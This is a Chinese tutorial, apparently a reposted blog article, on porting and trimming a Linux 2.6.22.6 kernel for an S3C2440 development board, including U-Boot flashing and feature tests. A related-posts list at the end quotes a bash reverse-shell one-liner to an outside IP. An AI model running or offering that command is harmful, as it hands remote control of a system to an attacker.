linux内核选项

一、准备工作(使用tar xjvf命令解压linux-2.6.22.6.tar.bz2后,cd/work/system/linux-2.6.22.6)

1、修改顶层Makefile的185和186行,以指定特定CPU体系结构和交叉编译工具。

185ARCH ?= arm
186 CROSS_COMPILE ?= arm-linux-

2、内核配置选项有几百个,配置者不可能一一配置,因此先输入makes3c2410_defconfig,以使用标准模板的配置

3、使用make menuconfig进入图形配置界面,浏览基本配置

单击System Type —- S3C2440 Machines

4、保存退出后,输入make zImage,大约半小时后将在arch/arm/boot目录生成内核文件zImage

5、将制作uImage的程序mkimage(位于编译后的u-boot源代码目录的tools子目录中)拷贝到/usr/bin目录

sudo cp /work/system/u-boot-1.1.6/tools/mkimage /usr/bin/

6、输入makeuImage后,内核构造系统将调用mkimage,通过zImage生成uImage(位于arch/arm/boot目录)。uImage是可供u-boot引导的linux内核,它在zImage前增加了64byte的头(这64byte的头有什么作用、里面包含什么内容,请参见”深入剖析u-boot”一文)

[email protected]:/work/system/linux-2.6.22.6$ls -l arch/arm/boot/[uz]Image
-rw-r–r– 1 dennis dennis 1511140 2010-04-01 10:43arch/arm/boot/uImage
-rwxr-xr-x 1 dennis dennis 1511076 2010-04-01 10:41arch/arm/boot/zImage

7、将uImage烧写到开发板的nand flash上

1)、使用网线将开发板与Linux机器物理连通

2)、配置Linux机器的ip地址为192.168.2.11

3)、配置开发板的ip地址为192.168.2.17

Dennis Yang > setenv ipaddr 192.168.2.17
Dennis Yang > saveenv
Saving Environment to NAND…

Erasing Nand…Writing to Nand… done

4)、确认开发板能与Linux机器通信

Dennis Yang > ping 192.168.2.11
host 192.168.2.11 is alive

5)、配置Linux机器上NFS服务器的配置文件/etc/exports,使NFS服务器共享/work/system/linux-2.6.22.6目录

/work/system/linux-2.6.22.6 *(rw,sync,no_root_squash)

后,重启NFS服务

sudo /etc/init.d/nfs-kernel-server restart

6)、将uImage下载到开发板RAM地址0x32000000处

Dennis Yang > nfs 0x32000000192.168.2.11:/work/system/linux-2.6.22.6/arch/arm/boot/uImage

7)格式化nandflash某区段(起始地址为0x80000,长度为0x180000字节),并将位于RAM地址0x32000000的uImage烧写到该区段

Dennis Yang > nand erase 0x80000 0x180000

Dennis Yang > nand write.jffs2 0x32000000 0x800000x180000

8)、启动Linux。可以看到内核正确并被启动,但旋即输出乱码。这说明需要对Linux进行移植(修改源代码)

Dennis Yang > boot

NAND read: device 0 offset 0x80000, size0x180000

Reading data from 0x1ffe00 — 100% complete.

1572864 bytes read: OK

Booting image at 32000000 …

Image Name: Linux-2.6.22.6
Created: 2010-04-01 2:43:59UTC
Image Type: ARM LinuxKernel Image (uncompressed)
Data Size: 1511076Bytes = 1.4 MB
Load Address: 30008000
Entry Point: 30008000
Verifying Checksum … OK
OK

Starting kernel …

UncompressingLinux………………………………………………………………………………………done, booting the kernel.

鯸竾”骾7记浄77悄3:癖;?虡?蘬儳{€$剜#”8€4梧f凣郻凣?f癎C?吾G4鞇`[

二、为S3C2440移植内核

1、修改晶振频率

S3C2440支持2种晶振频率:12MHZ和16MHZ。qq2440v3开发板使用的是12M的晶振,而内核源代码则采用的是16M频率,从而产生了错误的PCLK,因此导致内核向串口输出数据时使用了错误的波特率(正确的应是115200),这样在超级终端中看到的就是乱码。因此我们只需修改内核源代码中的晶振频率即可。

将arch/arm/mach-s3c2440/mach-smdk2440.c的第180行

s3c24xx_init_clocks(16934400);

改为:

s3c24xx_init_clocks(12000000);

2、修改nand flash分区表

这次内核正常启动,不再出现乱码,但未能成功挂载根文件系统。出现错误如下:

VFS: Mounted root (jffs2 filesystem).

Freeing init memory: 132K
Warning: unable to open an initial console.

Kernel panic – not syncing: No init found. Try passing init= option to kernel.

仔细查看内核出错前的输出,发现内核在nand flash上创建了8个分区:

Creating 8 MTD partitions on “NAND 64MiB 3,3V8-bit”:
0x00000000-0x00004000 : “Boot Agent”
0x00000000-0x00200000 : “S3C2410 flash partition1”
0x00400000-0x00800000 : “S3C2410 flash partition2”
0x00800000-0x00a00000 : “S3C2410 flash partition3”
0x00a00000-0x00e00000 : “S3C2410 flash partition4”
0x00e00000-0x01800000 : “S3C2410 flash partition5”
0x01800000-0x03000000 : “S3C2410 flash partition6”
0x03000000-0x04000000 : “S3C2410 flash partition7”

而内核从u-boot获得的启动参数(root=/dev/mtdblock2)表明,根文件系统放在nandflash的第3个分区上。

Kernel command line: noinitrdroot=/dev/mtdblock2 console=ttySAC0 rootfstype=jffs2

这样一来,内核会到nandflash的0x00400000-0x00800000区间来挂载根文件系统,但事实上我们通过u-boot烧写根文件系统时,是将其烧写在nandflash的0x1200000-0x2200000这个区间的。所以内核不能成功挂载根文件系统。因此,我们必须修改内核对nandflash的分区定义,让第3个分区位于0x1200000-0x2200000这个区间。

修改arch/arm/plat-s3c24xx/common-smdk.c文件,将109-150行改为:

static struct mtd_partition smdk_default_nand_part[] ={
[0] ={
.name = “Kernel”,
.size = SZ_2M,
.offset = 0,
},
[1] ={
.name = “YaffsRoot”,
.offset = MTDPART_OFS_APPEND,
.size = SZ_16M,
},
[2] ={
.name = “Jffs2Root”,
.offset = MTDPART_OFS_APPEND,
.size = SZ_16M,
},
[3] ={
.name = “FreePartition”,
.offset = MTDPART_OFS_APPEND,
.size = MTDPART_SIZ_FULL,
}
};

三、配置并裁减内核

现在内核虽然可以正常工作,但作为嵌入式操作系统的Linux,是可以被裁减以适应我们的具体需要。下面我们就通过 makemenuconfig 对内核进行配置和裁减,使得最终的内核尽量小,并实现支持:

1、nand flash驱动;2、jffs2文件系统 ;3、ELF格式的应用程序;4、串口驱动;5、ramdisk(将内存当硬盘使用);6、ext2文件系统;7、环回设备(将物理文件

当硬盘使用、类似windows下的虚拟光驱);8、将目录挂载到内存(将内存当目录使用);9、能识别U盘FAT分区和NTFS分区上的中英文文件;10、更新和获取实时时钟;

11、watchdog驱动;12、I2C驱动;13、SPI驱动;14、framebuffer;

15、TCP/IP协议栈;16、开发板充当NFS客户端;17、将NFS服务器上的共享目录挂载为根文件系统;18、动态加载和卸载模块;19、开发板充当PC机的U盘;20、USB网卡DM9601

不支持:1、网卡驱动;2、声卡驱动

Code maturity level options 选中则使未定型的功能组件出现在配置选项中,这样就可以显示更多的配置选项 General setup 杂项设置 Block layer 块设备层:用于设置块设备的一些总体参数,比如是否支持大于2TB的块设备、是否支持大于2TB的文件、设置I/O调度器等。一般使用默认值即可 System Type 系统类型:选择CPU架构、开发板类型等开发板相关的配置选项 Bus support PCMCIA/CardBus总线的支持,不用设置 Kernel Features 用于设置内核的一些参数,比如是否支持内核抢占,是否支持动态修改系统时钟等 Boot options 启动参数:比如设置默认的命令行参数等,一般不用理会 Floating point emuulation 浮点运算仿真功能,目前linux还不支持硬件浮点运算,所以要选择一个浮点仿真器,一般选择”NWFPEmath emulation” Userspace binary formats 可执行文件格式,一般选择ELF Power management options 电源管理选项 Neteworking 网络协议选项:一般都选择”Networking support”以支持网络功能,选择”Packetsocket”,以支持raw socket接口功能,选择”TCP/IPnetworking”以支持TCP/IP网络协议。通常在选择”Networking support”后使用默认配置 Device Drivers 设备驱动程序:几乎包含Linux的所有驱动程序 File systems 文件系统 profiling support 对系统的活动进行分析,仅供内核开发者使用 Kernel hacking 调试内核时的各种选项 Security options 安全选项,一般使用默认选项 Cryptographic options 加密选项 Library routines 库子程序:比如CRC32检验函数、zlib压缩函数等。不包含在内核源码中的第三方内核模块可能需要这些库,可以全不选,若内核中其它部分依赖它,会自动选上

在配置界面上对Linux进行配置时,对于[]选项可以按下”Y”键表示要编译进内核(即:该功能组件的二进制代码会进入最终的内核映像文件zImage中),”N”键表示不编译;对于<>选项,除了”Y”和”N”外,还可以按”M”键表示编译为模块(即:该功能组件的二进制代码并不进入zImage,但会单独形成一个后缀名为ko的文件。该ko文件就被称为模块,模块可以在操作系统启动后通过”insmod模块文件名”将其加载进内核),以减小内核的大小。

执行以下配置:

1、选中Code maturity level options — Prompt for development and/orincomplete code/drivers以便显示更多的配置选项
2、保持General setup的默认选择
3、保持Loadable module support的默认选择,以支持动态加载和卸载模块
4、保持Block layer的默认选择
5、System Type默认配置下,保留S3C2440 Machines 下的SMDK2440和SMDK2440 withS3C2440 CPU module,把其它类型的Machines全部去掉
6、保持Bus support的默认选择
7、保持Kernel Features的默认选择,不要选择Preemptible Kernel (EXPERIMENTAL)和Usethe ARM EABI to compile the kernel
8、保持Boot options的默认选择
9、保持Floating point emulation的默认选择
10、去掉Userspace binary formats 下的”Kernel support for a.out and ECOFFbinaries”,只保留”Kernel support for ELF binaries”
11、保持Power management options的默认选择
12、去掉Networking — Networkingoptions下的”IP: IPsec transportmode”、”IP: IPsec tunnel mode”、”IP:IPsec BEET mode”
13、Device Drivers
1)、Memory Technology Device (MTD) support
a)、去掉RedBoot partition table parsing
b)、去掉RAM/ROM/Flash chip drivers的全部选项
c)、保持NAND Device Support — NAND Flash supportfor S3C2410/S3C2440 SoC,以支持nand flash驱动
2)、去掉Parallel port support的全部选项
3)、Block devices
a)、保留Loopback device support以支持环回设备
b)、保留RAM disk support以支持ram disk
4)、去掉对ATA/ATAPI/MFM/RLL support的支持
5)、选中SCSI device support — SCSI device support — SCSI disksupport,以支持U盘(U盘在Linux中被识别为SCSI硬盘)
6)、Network device support
a)、去掉Ethernet (10 or 100Mbit) — DM9000support,因为开发板上的网卡不是DM9000,而是CS8900
b)、去掉Ethernet (1000 Mbit) 和 Ethernet (10000Mbit)
c)、USB Network Adapters下,选中Multi-purpose USBNetworking Framework Davicom和DM9601 based USB 1.1 10/100 ethernetdevices以支持USB网卡DM9601;去掉其它选项
7)、Input device support
a)、去掉对Keyboards的支持
b)、去掉对Mice的支持
8)、Character devices去掉Non-standard serial port support和Legacy (BSD)PTY support。仅保留Watchdog Timer Support — S3C2410Watchdog,以支持看门狗驱动;保留Serial drivers默认配置,以支持串口。
9)、I2C support保持默认配置,以支持I2C驱动
10)、SPI support选中Samsung S3C24XX series SPI和Bitbanging SPImaster,以支持SPI驱动
11)、去掉Hardware Monitoring support
12)、LED devices去掉LED Support
13)、Multimedia devices去掉DAB adapters
14)、Graphics support保持默认设置,以支持frame buffer以及LCD(需修改LCD驱动源代码)
15)、HID Devices清除所有选项,这将导致不支持usb鼠标、键盘等
16)、USB support
a)、选中USB Mass Storage support,以支持U盘
b)、USB Gadget Support,选中Support for USBGadgets,选择将USB Gadget Drivers — File-backed StorageGadget编译为模块。以支持将开发板充当PC机的U盘。(需修改udc驱动源代码)
17)、Real Time Clock保持默认设置,以支持更新和获取实时时钟(需修改RTC驱动源代码)

修改arch/arm/mach-s3c2440/mach-smdk2440.c,在其第175行处增加一行:

&s3c_device_rtc,

13、File systems
1)、保留Second extended fs support以支持ext2文件系统。去掉Ext3 journalling filesystem support、ROM file system support
2)、在DOS/FAT/NT Filesystems下选中除NTFS debuggingsupport之外的全部选项,以支持FAT文件系统和NTFS文件系统;
3)、选中Pseudo filesystems — Virtual memory file system support(former shm fs)。以支持将目录挂载到内存。
4)、Miscellaneous filesystems
a)、保持Journalling Flash File System v2 (JFFS2)support。以支持jffs2文件系统
b)、去掉Compressed ROM file system support(cramfs)
5)、Network File Systems
a)、选中Provide NFSv3 clientsupport。以支持开发板充当NFS客户端。
b)、保持Root file system onNFS。以支持将NFS服务器上的共享目录挂载为根文件系统。
6)、Partition Types,去掉全部选项
7)、Native Language Support
a)、选中Codepage 437 (United States,Canada)。以支持英文文件
b)、Simplified Chinese charset (CP936,GB2312)。以支持中文文件
14、Kernel hacking,清除全部选项

四、验证内核功能

1、nand flash驱动

2、jffs2文件系统

由于根文件系统是jffs2文件系统并位于nandflash上,现在能正确加载根文件系统,说明内核已经支持这2个功能

3、ELF格式的应用程序

ls命令就是ELF格式的应用程序,现在能执行ls这样的命令,说明内核已经支持这个功能

4、串口驱动

已能通过超级终端接收和输入数据,说明内核已经支持这个功能

5、ram disk

6、ext2文件系统

mke2fs /dev/ram3

mount –t ext2 /dev/ram3 /mnt

touch /mnt/yangzhu

ls /mnt 显示存在yangzhu这个文件

reboot后,重新执行

mount –t ext2 /dev/ram3 /mnt

显示错误。说明内核已经支持这2个功能。

7、环回设备

dd if=/dev/zero of=/test.img bs=512 count=8190

losetup /dev/loop0 /test.img

mke2fs /dev/loop0

mount -t ext2 /dev/loop0 /mnt

touch /mnt/yangzhu

ls /mnt 可以看到存在文件yangzhu

umount /dev/loop0

reboot后执行:

losetup /dev/loop0 /test.img

mount -t ext2 /dev/loop0 /mnt

ls /mnt 可以看到文件yangzhu仍然存在。说明内核已经支持这个功能。

8、将目录挂载到内存

mount -t tmpfs none /mnt

touch /mnt/yangzhu

ls /mnt 显示存在文件yangzhu

reboot后重新执行

mount -t tmpfs none /mnt

ls /mnt显示文件yangzhu不存在。说明内核已经支持这个功能。

9、能识别U盘FAT分区和NTFS分区上的中英文文件

插入格式化为FAT文件系统的U盘后,执行

mount /dev/sda1 /mnt (或者需要输入的是 mount /dev/sda /mnt)

ls /mnt

可看到U盘上的中英文文件。

插入为格式化为NTFS文件系统的U盘后,执行

mount -t ntfs -o ro,nls=cp936 /dev/sda1 /mnt

ls /mnt

可看到U盘上的中英文文件。

说明内核已经支持这个功能。

注:之所以要加入-o ro这个选项,是因为目前linux对于NTFS分区的写入操作的支持很有限,并且不太完善。

10、更新和获取实时时钟

date -s 040210102010 #设置时间为 2010-04-02 10:10

hwclock -w #把刚刚设置的时间存入S3C2440 内部的RTC

reboot后使用date显示当前时间,变为了2010-04-0210:11:02。说明内核已经支持这个功能。

11、watchdog驱动

watchdog -t 1 /dev/watchdog

killall watchdog

s3c2410-wdt: Unexpected close, not stoppingwatchdog!

U-Boot 1.1.6 (Sep 8 2009 -11:22:15)

DRAM: 64 MB
Flash: 1 MB
NAND:

在开启watchdog功能后停止喂狗,结果系统重新启动。这说明内核已经支持这个功能。

注:暂不验证 12、I2C驱动;13、SPI驱动;14、framebuffer;剩余功能在下文中验证。

Original: https://www.cnblogs.com/wanghuaijun/p/16366830.html
Author: 专注it
Title: linux内核选项

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/8505/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 反弹shell的各种基础姿势

    Victim: bash -i >& /dev/tcp/175.11.142.54/443 0>&1 Copy /bin/bash -i > /d…

    Linux 2022年9月14日
    0190
  • linux文件处理时间汇总

    tar -cz nas to nas 100G 156min mv tar.gz nas to local 100G 16min cp -r folder nas to local…

    Linux 2022年8月11日
    0280
  • git 忽略已经被提交的文件

    感谢 https://www.jianshu.com/p/2345b2aede59 方式1 项目中的某个文件(比如stupid.txt)已经被commit,并push到server…

    Linux 2022年8月30日
    0300
  • 什么新东西值得学「GitHub 热点速览 v.22.29」

    上周 18k+ 的项目 bun 这周又获得 7k+ star,是时候了解下它背后的编程语言 zig 了,它并不是一门新的语言,伴随着 bun 的风靡,zig 本周也上了 GitHu…

    2022年8月30日
    0440
  • 【Linux高级驱动】LCD logo

    启动GIMP2打开通过ACDSEE调整的图片–>通过菜单 图像模式索引设置图形索引最大颜色数为:224 这样,我们就做好了一张满屏的符合内核要求的启动LOGO图片…

    Linux 2022年8月26日
    0280
  • redis主从同步收到以下参数影响

    repl-ping-slave-period主从心跳ping的时间间隔。默认10 repl-timeout 从节点超时时间。默认60 repl-backlog-size 主节点保存…

    Linux 2022年9月14日
    0310
  • 案例三:shell统计ip访问情况并分析访问日志

    题目要求 有日志 1.log,部分内容如下: 112.111.12.248 – [25/Sep/2013:16:08:31 +0800]formula-x.haotui.com&q…

    Linux 2022年8月20日
    0320
  • Linux mkdir命令详解

    mkdir命令的使用 mkdir参数信息 ![Linux mkdir命令详解](https://johngo-pic.oss-cn-beijing.aliyuncs.com/art…

    Linux 2022年8月24日
    0320
  • Ubuntu20.04.1安装PHP7.4后,访问PHP页面时不运行不解析只下载的问题解决

    首先确认以下模块是否已安装 sudo apt-get install php7.4-fpm php7.0-mysql php7.0-common php7.0-mbstring p…

    Linux 2022年8月26日
    0230
  • ubuntu sudoers配置错误

    ubuntu16 sudoers配置错误,普通用户无法使用sudo了,且root帐户也没启动。 重启,按住esc,选择恢复模式,选择root模式 修改文件至正确 vi /etc/s…

    Linux 2022年8月26日
    0290
  • ubuntu 16.04 source (HUST and 163)

    HUST deb http://mirrors.hust.edu.cn/ubuntu/ xenial main restricted universe multiversedeb …

    Linux 2022年8月26日
    0300
  • Shell 脚本是什么?

    一个 Shell 脚本是一个文本文件,包含一个或多个命令。作为系统管理员,我们经常需要使用多个命令来完成一项任务,我们可以添加这些所有命令在一个文本文件(Shell 脚本)来完成这…

    Linux 2022年9月14日
    0170
  • Linux:软件安装

    四种安装方式 在线安装 从磁盘安装盘deb软件包 从二进制软件包安装 从源代码编译安装 在线安装 在不同的linux发行版上面在线安装方式会有一些差异包括使用的命令及它们的包管理工…

    Linux 2022年8月24日
    0330
  • redis后台启动

    打开redis.conf文件 把daemonize设置为yes posted @2021-11-25 15:30 HongMaJu 阅读(64 ) 评论() 编辑 Original…

    Linux 2022年9月14日
    0140
  • linux修改权限

    修改system目录(包括子目录)的所有者和组 sudo chown -R seven:seven system Original: https://www.cnblogs.com…

    Linux 2022年8月13日
    0450
  • Linux下安装dart sdk并配置环境变量

    正式安装: 新建dart sdk目录 sudo mkdir -p /opt/dart_sdk 进入dart sdk目录 cd /opt/dart_sdk/ 打开dart sdk官网…

    2022年8月26日
    0610
  • Github上优秀的.NET Core项目

    翻译可能会有问题。找到了就能及时提出来,其他好项目也可以提出来。我会及时添加和修改它们。 [En] There may be problems with the translati…

    Linux 2022年8月30日
    0500
  • alpine linux

    alpine linux Small. Simple. Secure. 占用硬盘空间真的非常小,适合于linux深度用户 Alpine Linux is a security-or…

    Linux 2022年8月8日
    0370
  • linux配置网卡IP地址命令详细介绍及一些常用网络配置命令

    linux配置网卡IP地址命令详细介绍及一些常用网络配置命令2010-12-17 0 个评论 收藏 我要投稿 Linux命令行下配置IP地址不像图形界面下那么方 便,完全需要我们手…

    Linux 2022年8月24日
    0350
  • 案例五:shell脚本实现定时监控http服务的运行状态

    注意:监控方法可以为端口、进程、URL模拟访问方式,或者三种方法综合。 说明:由于截止到目前仅讲了if语句,因此,就请大家用if语句来实现。 [root@oldboy-B scri…

    Linux 2022年8月20日
    0390
  • linux 连接跟踪 conntrack

    参考链接: 连接跟踪是Linux内核中引入的nf_conntrack 模块所实现的功能,同时支持IPv4 和 IPv6,取代只支持 IPv4 的 ip_connktrack,用于跟…

    Linux 2022年8月24日
    0260
  • windows下设置redis开机自启动

    windows: 在windows下安装目录下 打开命令窗口: redis-server.exe –service-install redis.windows.conf…

    Linux 2022年9月14日
    0170
  • vscode使用

    一、vscode安装 一般安装完成后,基于不同语言开发时,需要安装不同插件,根据提示安装即可。 二、vscode远程开发 如果是windows+Linux虚拟机开发模式,在wind…

    Linux 2022年8月11日
    0310
  • Git设置代理

    使用yarn安装东西时候出现的错误: fatal: unable to access ‘https://github.com/nhn/raphael.git/&#821…

    Linux 2022年8月30日
    0380
  • linux dd指令

    安装操作系统,速度太慢,整个过程太冗长乏味了。 在安装过程中,你需要回答一些问题,系统需要安装无数的软件,创建和写入无数的文件。因为涉及大量的文件定位和读写,速度一定不能太快。 […

    Linux 2022年8月13日
    0310
  • Linux: shell常用通配符

    字符含义 匹配 0 或多个字符 匹配任意一个字符 匹配 list 中的任意单一字符 匹配 除list 中的任意单一字符以外的字符 匹配 c1-c2 中的任意单一字符 如:[0-9]…

    Linux 2022年8月24日
    0320

发表回复

登录后才能评论
免费咨询
免费咨询
扫码关注
扫码关注
联系站长

站长Johngo!

大数据和算法重度研究者!

持续产出大数据、算法、LeetCode干货,以及业界好资源!

2022012703491714

微信来撩,免费咨询:xiaozhu_tec

分享本页
返回顶部